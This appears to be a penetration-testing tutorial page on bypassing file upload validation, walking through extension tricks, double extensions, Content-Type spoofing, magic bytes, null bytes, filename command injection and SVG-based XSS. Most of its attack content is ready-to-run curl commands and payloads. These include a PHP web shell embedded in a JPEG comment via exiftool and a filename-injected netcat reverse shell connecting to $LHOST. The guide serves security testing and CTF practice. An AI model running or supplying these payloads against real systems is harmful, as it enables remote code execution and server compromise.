Skip to content
HackIndex logo

HackIndex

File Upload Validation Testing

5 min read Apr 24, 2026

The goal is to confirm whether a file upload endpoint can be forced to store and serve a file that executes server-side code. This page covers identifying what validation is in place and which bypasses work. Exploitation once a bypass is confirmed is covered in File Upload Exploitation.

Baseline Behaviour First

Before testing any bypass, upload a clean benign file and record what the application does with it. Use Burp Suite to capture the full request and response.

Note:

  • The allowed extensions based on what the server accepts

  • The storage path from the response or reflected URL

  • The Content-Type header the server expects

  • Whether files are served directly at a predictable URL

  • Whether images are re-encoded or stripped of metadata on upload

┌──(kali㉿kali)-[~]
└─$ curl -s -F "[email protected]" http://$TARGET_IP:$PORT/upload.php -v

If the response includes a path like /uploads/test.jpg, confirm the file is directly accessible and served with its original content:

┌──(kali㉿kali)-[~]
└─$ curl -sI http://$TARGET_IP:$PORT/uploads/test.jpg
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:$PORT/uploads/test.jpg | head -5

If the server re-encodes or serves through a controller that strips content, file-based shell delivery becomes much harder. Switch to attacking the upload logic itself.

Extension Bypass

Try uploading a PHP shell with alternative extensions. Many filters block .php but not its variants:

.php .php3 .php4 .php5 .php7 .phtml .phar .inc .phps

For ASP/ASPX targets:

.asp .aspx .ashx .asmx .cer .asa .aspq

Test each with a minimal PHP identification payload first, not a full shell:

┌──(kali㉿kali)-[~]
└─$ echo '<?php echo "EXEC_TEST_" . phpversion(); ?>' > testshell.phtml
┌──(kali㉿kali)-[~]
└─$ curl -s -F "[email protected]" http://$TARGET_IP:$PORT/upload.php

Then request the uploaded file and check for the string in the response:

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:$PORT/uploads/testshell.phtml | grep EXEC_TEST

If you get output containing a PHP version number, the server is executing the file.

Double Extension

Some filters only check the last extension, others only the first. Test both orderings:

shell.php.jpg
shell.jpg.php
shell.php.png
shell.png.php5
┌──(kali㉿kali)-[~]
└─$ echo '<?php echo "EXEC_TEST"; ?>' > shell.php.jpg
┌──(kali㉿kali)-[~]
└─$ curl -s -F "[email protected]" http://$TARGET_IP:$PORT/upload.php

The server may store the file with a different name. Capture the exact path from the response.

Content-Type Spoofing

Some applications validate the Content-Type header in the request rather than the file content. Change the header while keeping the PHP payload:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/upload.php -F "[email protected];type=image/png"

Or build the request manually:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/upload.php \
-H "Content-Type: multipart/form-data; boundary=BOUNDARY" \
--data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/png\r\n\r\n<?php echo "EXEC_TEST"; ?>\r\n--BOUNDARY--'

Magic Byte Bypass

Applications using getimagesize() or finfo check file content rather than the header. Prefix the PHP payload with a valid image magic byte sequence to pass these checks.

GIF signature (most reliable, smallest):

Using exiftool to embed PHP into a real JPEG comment field:

┌──(kali㉿kali)-[~]
└─$ exiftool -Comment='<?php system($_GET["cmd"]); ?>' benign.jpg -o shell.jpg
┌──(kali㉿kali)-[~]
└─$ curl -s -F "[email protected]" http://$TARGET_IP:$PORT/upload.php

Note that modern applications often re-encode images on upload, which strips injected content. If the server re-processes images, exiftool injection will not survive.

Null Byte Bypass

On PHP versions below 5.3.4, a null byte in the filename truncates the string at the filesystem level. The application sees shell.php%00.jpg as a .jpg, but PHP stores it as shell.php:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/upload.php \
--data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php\x00.jpg"\r\nContent-Type: image/jpeg\r\n\r\n<?php echo "EXEC_TEST"; ?>\r\n--BOUNDARY--' \
-H "Content-Type: multipart/form-data; boundary=BOUNDARY"

This only applies to very old PHP installs. Test it after other bypasses fail.

Filename Command Injection

If the application uses the uploaded filename in a shell command (image conversion, thumbnail generation, virus scanning), the filename itself becomes an injection point:

┌──(kali㉿kali)-[~]
└─$ curl -s -F '[email protected];filename=test.jpg;id' http://$TARGET_IP:$PORT/upload.php

Watch for out-of-band execution or unusual errors. A connect-back payload in the filename:

┌──(kali㉿kali)-[~]
└─$ curl -s -F "[email protected];filename=test\$(nc $LHOST $LPORT -e /bin/sh).jpg" http://$TARGET_IP:$PORT/upload.php

This is rare but appears in CTF-style targets and applications that shell out to ImageMagick or similar tools without sanitising the filename.

SVG Upload for XSS

SVG files are XML and can contain JavaScript. If the application serves uploaded SVGs with Content-Type: image/svg+xml or text/html, this enables stored XSS or, in some configurations, SSRF through XML entity processing:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert(document.domain)</script>
</svg>

Save as test.svg and upload. If the application serves it and it executes in the browser, this confirms stored XSS via upload.

Interpreting Results

If any extension, content-type, or magic byte bypass allows a file to be stored and served with executable content, the vulnerability is confirmed. Move to File Upload Exploitation to get a shell.

If uploads are accepted but the file is not served at a predictable URL, look for path disclosure in error messages, the source code, or directory enumeration results.

References